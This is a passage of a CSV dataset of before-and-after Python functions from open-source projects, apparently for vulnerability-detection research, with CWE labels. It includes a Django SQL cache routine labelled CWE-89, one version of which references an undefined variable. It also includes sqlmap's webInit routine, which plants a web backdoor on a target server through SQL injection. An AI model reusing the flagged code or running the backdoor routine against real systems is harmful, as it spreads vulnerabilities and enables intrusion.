                logical_date=DEFAULT_DATE,
                run_type=DagRunType.SCHEDULED,
                data_interval=dag.infer_automated_data_interval(DEFAULT_DATE),
                triggered_by=DagRunTriggeredByType.TEST,
                session=session,
            )
            task = dag.get_task(task_id=""run_this_first"")
            ti = TaskInstance(task, run_id=dagrun.run_id, state=TaskInstanceState.QUEUED)
            session.add(ti)

            if has_serialized_dag:
                assert SerializedDagModel.write_dag(dag, session=session) is True
                session.flush()

        requests = [TaskCallbackRequest(full_filepath=""A"", ti=ti, msg=""Message"")]
        self._process_file(dag.fileloc, requests)
        mock_ti_handle_failure.assert_called_once_with(
            error=""Message"", test_mode=conf.getboolean(""core"", ""unit_test_mode""), session=session
        )"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_bulk_write_to_db(self):
        clear_db_dags()
        dags = [DAG(f'dag-bulk-sync-{i}', start_date=DEFAULT_DATE, tags=[""test-dag""]) for i in range(0, 4)]

        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert {
                ('dag-bulk-sync-0', 'test-dag'),
                ('dag-bulk-sync-1', 'test-dag'),
                ('dag-bulk-sync-2', 'test-dag'),
                ('dag-bulk-sync-3', 'test-dag'),
            } == set(session.query(DagTag.dag_id, DagTag.name).all())

            for row in session.query(DagModel.last_parsed_time).all():
                assert row[0] is not None

        # Re-sync should do fewer queries
        with assert_queries_count(4):
            DAG.bulk_write_to_db(dags)
        with assert_queries_count(4):
            DAG.bulk_write_to_db(dags)
        # Adding tags
        for dag in dags:
            dag.tags.append(""test-dag2"")
        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert {
                ('dag-bulk-sync-0', 'test-dag'),
                ('dag-bulk-sync-0', 'test-dag2'),
                ('dag-bulk-sync-1', 'test-dag'),
                ('dag-bulk-sync-1', 'test-dag2'),
                ('dag-bulk-sync-2', 'test-dag'),
                ('dag-bulk-sync-2', 'test-dag2'),
                ('dag-bulk-sync-3', 'test-dag'),
                ('dag-bulk-sync-3', 'test-dag2'),
            } == set(session.query(DagTag.dag_id, DagTag.name).all())
        # Removing tags
        for dag in dags:
            dag.tags.remove(""test-dag"")
        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert {
                ('dag-bulk-sync-0', 'test-dag2'),
                ('dag-bulk-sync-1', 'test-dag2'),
                ('dag-bulk-sync-2', 'test-dag2'),
                ('dag-bulk-sync-3', 'test-dag2'),
            } == set(session.query(DagTag.dag_id, DagTag.name).all())

            for row in session.query(DagModel.last_parsed_time).all():
                assert row[0] is not None

        # Removing all tags
        for dag in dags:
            dag.tags = None
        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert not set(session.query(DagTag.dag_id, DagTag.name).all())

            for row in session.query(DagModel.last_parsed_time).all():
                assert row[0] is not None",CWE-703,apache/airflow,d7265791187fb2117dfd090cdb7cce3f8c20866c,"def test_bulk_write_to_db(self):
        clear_db_dags()
        dags = [DAG(f'dag-bulk-sync-{i}', start_date=DEFAULT_DATE, tags=[""test-dag""]) for i in range(0, 4)]

        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert {
                ('dag-bulk-sync-0', 'test-dag'),
                ('dag-bulk-sync-1', 'test-dag'),
                ('dag-bulk-sync-2', 'test-dag'),
                ('dag-bulk-sync-3', 'test-dag'),
            } == set(session.query(DagTag.dag_id, DagTag.name).all())

            for row in session.query(DagModel.last_parsed_time).all():
                assert row[0] is not None

        # Re-sync should do fewer queries
        with assert_queries_count(4):
            DAG.bulk_write_to_db(dags)
        with assert_queries_count(4):
            DAG.bulk_write_to_db(dags)
        # Adding tags
        for dag in dags:
            dag.tags.append(""test-dag2"")
        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert {
                ('dag-bulk-sync-0', 'test-dag'),
                ('dag-bulk-sync-0', 'test-dag2'),
                ('dag-bulk-sync-1', 'test-dag'),
                ('dag-bulk-sync-1', 'test-dag2'),
                ('dag-bulk-sync-2', 'test-dag'),
                ('dag-bulk-sync-2', 'test-dag2'),
                ('dag-bulk-sync-3', 'test-dag'),
                ('dag-bulk-sync-3', 'test-dag2'),
            } == set(session.query(DagTag.dag_id, DagTag.name).all())
        # Removing tags
        for dag in dags:
            dag.tags.remove(""test-dag"")
        with assert_queries_count(5):
            DAG.bulk_write_to_db(dags)
        with create_session() as session:
            assert {'dag-bulk-sync-0', 'dag-bulk-sync-1', 'dag-bulk-sync-2', 'dag-bulk-sync-3'} == {
                row[0] for row in session.query(DagModel.dag_id).all()
            }
            assert {
                ('dag-bulk-sync-0', 'test-dag2'),
                ('dag-bulk-sync-1', 'test-dag2'),
                ('dag-bulk-sync-2', 'test-dag2'),
                ('dag-bulk-sync-3', 'test-dag2'),
            } == set(session.query(DagTag.dag_id, DagTag.name).all())

            for row in session.query(DagModel.last_parsed_time).all():
                assert row[0] is not None"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/auth/management/__init__.py,0,"def create_permissions(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, **kwargs):
    if not app_config.models_module:
        return

    try:
        Permission = apps.get_model('auth', 'Permission')
    except LookupError:
        return

    if not router.allow_migrate_model(using, Permission):
        return

    from django.contrib.contenttypes.models import ContentType

    # This will hold the permissions we're looking for as
    # (content_type, (codename, name))
    searched_perms = list()
    # The codenames and ctypes that should exist.
    ctypes = set()
    for klass in app_config.get_models():
        # Force looking up the content types in the current database
        # before creating foreign keys to them.
        ctype = ContentType.objects.db_manager(using).get_for_model(klass)
        ctypes.add(ctype)
        for perm in _get_all_permissions(klass._meta, ctype):
            searched_perms.append((ctype, perm))

    # Find all the Permissions that have a content_type for a model we're
    # looking for.  We don't need to check for codenames since we already have
    # a list of the ones we're going to create.
    all_perms = set(Permission.objects.using(using).filter(
        content_type__in=ctypes,
    ).values_list(
        ""content_type"", ""codename""
    ))

    perms = [
        Permission(codename=codename, name=name, content_type=ct)
        for ct, (codename, name) in searched_perms
        if (ct.pk, codename) not in all_perms
    ]
    # Validate the permissions before bulk_creation to avoid cryptic
    # database error when the verbose_name is longer than 50 characters
    permission_name_max_length = Permission._meta.get_field('name').max_length
    verbose_name_max_length = permission_name_max_length - 11  # len('Can change ') prefix
    for perm in perms:
        if len(perm.name) > permission_name_max_length:
            raise exceptions.ValidationError(
                ""The verbose_name of %s.%s is longer than %s characters"" % (
                    perm.content_type.app_label,
                    perm.content_type.model,
                    verbose_name_max_length,
                )
            )
    Permission.objects.using(using).bulk_create(perms)
    if verbosity >= 2:
        for perm in perms:
            print(""Adding permission '%s'"" % perm)",CWE-Unknown,django/django,bed504d70bede3431a213203c13a33905d6dbf77,"def create_permissions(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, **kwargs):
    if not app_config.models_module:
        return

    try:
        Permission = apps.get_model('auth', 'Permission')
    except LookupError:
        return

    if not router.allow_migrate(using, Permission):
        return

    from django.contrib.contenttypes.models import ContentType

    # This will hold the permissions we're looking for as
    # (content_type, (codename, name))
    searched_perms = list()
    # The codenames and ctypes that should exist.
    ctypes = set()
    for klass in app_config.get_models():
        # Force looking up the content types in the current database
        # before creating foreign keys to them.
        ctype = ContentType.objects.db_manager(using).get_for_model(klass)
        ctypes.add(ctype)
        for perm in _get_all_permissions(klass._meta, ctype):
            searched_perms.append((ctype, perm))

    # Find all the Permissions that have a content_type for a model we're
    # looking for.  We don't need to check for codenames since we already have
    # a list of the ones we're going to create.
    all_perms = set(Permission.objects.using(using).filter(
        content_type__in=ctypes,
    ).values_list(
        ""content_type"", ""codename""
    ))

    perms = [
        Permission(codename=codename, name=name, content_type=ct)
        for ct, (codename, name) in searched_perms
        if (ct.pk, codename) not in all_perms
    ]
    # Validate the permissions before bulk_creation to avoid cryptic
    # database error when the verbose_name is longer than 50 characters
    permission_name_max_length = Permission._meta.get_field('name').max_length
    verbose_name_max_length = permission_name_max_length - 11  # len('Can change ') prefix
    for perm in perms:
        if len(perm.name) > permission_name_max_length:
            raise exceptions.ValidationError(
                ""The verbose_name of %s.%s is longer than %s characters"" % (
                    perm.content_type.app_label,
                    perm.content_type.model,
                    verbose_name_max_length,
                )
            )
    Permission.objects.using(using).bulk_create(perms)
    if verbosity >= 2:
        for perm in perms:
            print(""Adding permission '%s'"" % perm)"
,UNKNOWN,UNKNOWN,django/core/cache/backends/db.py,1,"def _cull(self, db, cursor, now):
        if self._cull_frequency == 0:
            self.clear()
        else:
            table = connections[db].ops.quote_name(self._table)
            cursor.execute(""DELETE FROM %s WHERE expires < %%s"" % table,
                           [connections[db].ops.value_to_db_datetime(now)])
            cursor.execute(""SELECT COUNT(*) FROM %s"" % table)
            num = cursor.fetchone()[0]
            if num > self._max_entries:
                cursor.execute(""SELECT cache_key FROM %s ORDER BY cache_key LIMIT 1 OFFSET %%s"" % table, [num / self._cull_frequency])
                cursor.execute(""DELETE FROM %s WHERE cache_key < %%s"" % table, [cursor.fetchone()[0]])",CWE-89,django/django,7a1b69418937fa589602ea104a24213d80585b47,"def _cull(self, db, cursor, now):
        if self._cull_frequency == 0:
            self.clear()
        else:
            cursor.execute(""DELETE FROM %s WHERE expires < %%s"" % table,
                           [connections[db].ops.value_to_db_datetime(now)])
            cursor.execute(""SELECT COUNT(*) FROM %s"" % table)
            num = cursor.fetchone()[0]
            if num > self._max_entries:
                cursor.execute(""SELECT cache_key FROM %s ORDER BY cache_key LIMIT 1 OFFSET %%s"" % table, [num / self._cull_frequency])
                cursor.execute(""DELETE FROM %s WHERE cache_key < %%s"" % table, [cursor.fetchone()[0]])"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/audit/csrf.py,0,"def __init__(self):
        AuditPlugin.__init__(self)

        self._strict_mode = False
        self._equal_limit = 0.90",,andresriancho/w3af,67f0fec6d97c83b8e26957281b976c2c54e43374,"def __init__(self):
        AuditPlugin.__init__(self)

        self._strict_mode = False
        self._equal_limit = 0.90"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/kb/knowledge_base.py,0,"def _has_reached_max_info_instances(self, location_a, location_b, info_inst, group_klass):
        """"""
        Checks if the tuple containing
            - location_a,
            - location_b,
            - info.get(self.ITAG)

        Is in the max info instances reached cache.

        Works together with _record_reached_max_info_instances()

        :param location_a: The ""a"" address
        :param location_b: The ""b"" address
        :param info_inst: The Info instance we want to store
        :param group_klass: If required, will be used to create a new InfoSet
        :return: True if the data is in the cache
        """"""
        key = self._get_max_info_instances_key(location_a,
                                               location_b,
                                               info_inst,
                                               group_klass)
        return self._reached_max_info_instances_cache.get(key)",,andresriancho/w3af,f63d5359fac73fab79d0a9802d6fafc3b2ca35ae,"def _has_reached_max_info_instances(self, location_a, location_b, info_inst, group_klass):
        """"""
        Checks if the tuple containing
            - location_a,
            - location_b,
            - info.get(self.ITAG)

        Is in the max info instances reached cache.

        Works together with _record_reached_max_info_instances()

        :param location_a: The ""a"" address
        :param location_b: The ""b"" address
        :param info_inst: The Info instance we want to store
        :param group_klass: If required, will be used to create a new InfoSet
        :return: True if the data is in the cache
        """"""
        key = (location_a, location_b, info_inst.get(group_klass.ITAG))
        return self._reached_max_info_instances_cache.get(key)"
,UNKNOWN,UNKNOWN,chart/tests/test_migrate_database_job.py,1,"def test_should_run_by_default(self):
        docs = render_chart(
            values={},
            show_only=[""templates/jobs/migrate-database-job.yaml""],
        )

        assert re.search(""Job"", docs[0][""kind""])
        assert ""run-airflow-migrations"" == jmespath.search(""spec.template.spec.containers[0].name"", docs[0])",CWE-703,apache/airflow,8655d66cea977102862379d9894810b1e836f7a8,"def test_should_run_by_default(self):
        docs = render_chart(
            values={},
            show_only=[""templates/migrate-database-job.yaml""],
        )

        assert re.search(""Job"", docs[0][""kind""])
        assert ""run-airflow-migrations"" == jmespath.search(""spec.template.spec.containers[0].name"", docs[0])"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = ""/%s"" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = ""trying to upload the file stager on '%s' "" % directory
            infoMsg += ""via LIMIT 'LINES TERMINATED BY' method""
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or """"

                if ""sqlmap file uploader"" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = ""unable to upload the file stager ""
                warnMsg += ""on '%s'"" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = ""trying to upload the file stager on '%s' "" % directory
                    infoMsg += ""via UNION method""
                    logger.info(infoMsg)

                    stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, ""w+b"") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
                        _ = _.replace(""WRITABLE_DIR"", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, ""text"", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or """"

                        if ""sqlmap file uploader"" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if ""<%"" in uplPage or ""<?"" in uplPage:
                warnMsg = ""file stager uploaded on '%s', "" % directory
                warnMsg += ""but not dynamically interpreted""
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = ""the file stager has been successfully uploaded ""
            infoMsg += ""on '%s' - %s"" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = ""tmpe%s.exe"" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = ""backdoor has not been successfully uploaded ""
                    warnMsg += ""through the file stager possibly because ""
                    warnMsg += ""the user running the web server process ""
                    warnMsg += ""has not write privileges over the folder ""
                    warnMsg += ""where the user running the DBMS process ""
                    warnMsg += ""was able to upload the file stager or ""
                    warnMsg += ""because the DBMS and web server sit on ""
                    warnMsg += ""different servers""
                    logger.warn(warnMsg)

                    message = ""do you want to try the same method used ""
                    message += ""for the file stager? [Y/n] ""
                    getOutput = readInput(message, default=""Y"")

                    if getOutput in (""y"", ""Y""):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = ""command execution test""
            output = self.webBackdoorRunCmd(""echo %s"" % testStr)

            if output == ""0"":
                warnMsg = ""the backdoor has been uploaded but required privileges ""
                warnMsg += ""for running the system commands are missing""
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = ""the backdoor has been successfully ""
            else:
                infoMsg = ""the backdoor has probably been successfully ""

            infoMsg += ""uploaded on '%s' - "" % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break",,sqlmapproject/sqlmap,795777b7c5ba8ec7bd1abdba334b41b9d00e536b,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = ""/%s"" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = ""trying to upload the file stager on '%s' "" % directory
            infoMsg += ""via LIMIT 'LINES TERMINATED BY' method""
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or """"

                if ""sqlmap file uploader"" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = ""unable to upload the file stager ""
                warnMsg += ""on '%s'"" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = ""trying to upload the file stager on '%s' "" % directory
                    infoMsg += ""via UNION method""
                    logger.info(infoMsg)

                    stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.fdopen(handle).close()  # close low level handle (causing problems later)

                    with open(filename, ""w+"") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
                        _ = _.replace(""WRITABLE_DIR"", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, ""text"", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or """"

                        if ""sqlmap file uploader"" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if ""<%"" in uplPage or ""<?"" in uplPage:
                warnMsg = ""file stager uploaded on '%s', "" % directory
                warnMsg += ""but not dynamically interpreted""
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = ""the file stager has been successfully uploaded ""
            infoMsg += ""on '%s' - %s"" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = ""tmpe%s.exe"" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = ""backdoor has not been successfully uploaded ""
                    warnMsg += ""through the file stager possibly because ""
                    warnMsg += ""the user running the web server process ""
                    warnMsg += ""has not write privileges over the folder ""
                    warnMsg += ""where the user running the DBMS process ""
                    warnMsg += ""was able to upload the file stager or ""
                    warnMsg += ""because the DBMS and web server sit on ""
                    warnMsg += ""different servers""
                    logger.warn(warnMsg)

                    message = ""do you want to try the same method used ""
                    message += ""for the file stager? [Y/n] ""
                    getOutput = readInput(message, default=""Y"")

                    if getOutput in (""y"", ""Y""):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = ""command execution test""
            output = self.webBackdoorRunCmd(""echo %s"" % testStr)

            if output == ""0"":
                warnMsg = ""the backdoor has been uploaded but required privileges ""
                warnMsg += ""for running the system commands are missing""
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = ""the backdoor has been successfully ""
            else:
                infoMsg = ""the backdoor has probably been successfully ""

            infoMsg += ""uploaded on '%s' - "" % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/utils.py,0,"def determine_if_stream(data):
    """"""Given data, determines if it should be sent as a stream.
    """"""
    is_iterable = getattr(data, '__iter__', False)
    is_io_type = not isinstance(data, (basestring, list, tuple, dict))
    return is_iterable and is_io_type",,psf/requests,1003fdf0f2731bc6398678bec9ff0414ac1e00bc,"def determine_if_stream(data):
    """"""Given data, determines if it should be sent as a stream.
    """"""
    is_iterable = hasattr(data, '__iter__')
    is_io_type = not isinstance(data, (basestring, list, tuple, dict))
    return is_iterable and is_io_type"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/hdfs_artifact_repo.py,0,"def _download_hdfs_file(hdfs, remote_file_path, local_file_path):
    # Ensure all required directories exist. Without doing this nested files can't be downloaded.
    dirs = os.path.dirname(local_file_path)
    if not os.path.exists(dirs):
        os.makedirs(dirs)
    with open(local_file_path, 'wb') as f:
        f.write(hdfs.open(remote_file_path, 'rb').read())",,mlflow/mlflow,01f06a9b7168872a311412206dc5084cd5affee0,"def _download_hdfs_file(hdfs, remote_file_path, local_file_path):
    # Ensure all required directories exist. Without doing this nested files can't be downloaded.
    dirs = os.path.dirname(local_file_path)
    os.makedirs(dirs)
    with open(local_file_path, 'wb') as f:
        f.write(hdfs.open(remote_file_path, 'rb').read())"
,UNKNOWN,UNKNOWN,tests/api_internal/endpoints/test_rpc_api_endpoint.py,1,"def test_method(self, input_params, method_result, result_cmp_func, method_params):
        mock_test_method.return_value = method_result

        input_data = {
            ""jsonrpc"": ""2.0"",
            ""method"": TEST_METHOD_NAME,
            ""params"": input_params,
        }
        response = self.client.post(
            ""/internal_api/v1/rpcapi"",
            headers={""Content-Type"": ""application/json""},
            data=json.dumps(input_data),
        )
        assert response.status_code == 200
        if method_result:
            response_data = BaseSerialization.deserialize(json.loads(response.data), use_pydantic_models=True)
        else:
            response_data = response.data

        assert result_cmp_func(response_data, method_result)

        mock_test_method.assert_called_once_with(**method_params, session=mock.ANY)",CWE-703,apache/airflow,2a975ea5b93ca8fada0f5feadc809c5a47812473,"def test_method(self, input_params, method_result, result_cmp_func, method_params):
        mock_test_method.return_value = method_result

        input_data = {
            ""jsonrpc"": ""2.0"",
            ""method"": TEST_METHOD_NAME,
            ""params"": input_params,
        }
        response = self.client.post(
            ""/internal_api/v1/rpcapi"",
            headers={""Content-Type"": ""application/json""},
            data=json.dumps(input_data),
        )
        assert response.status_code == 200
        if method_result:
            response_data = BaseSerialization.deserialize(json.loads(response.data), use_pydantic_models=True)
        else:
            response_data = response.data

        assert result_cmp_func(response_data, method_result)

        mock_test_method.assert_called_once_with(**method_params)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def fetch(self, path, body=None, **kwargs):
        kwargs['url'] = self.get_url(path)
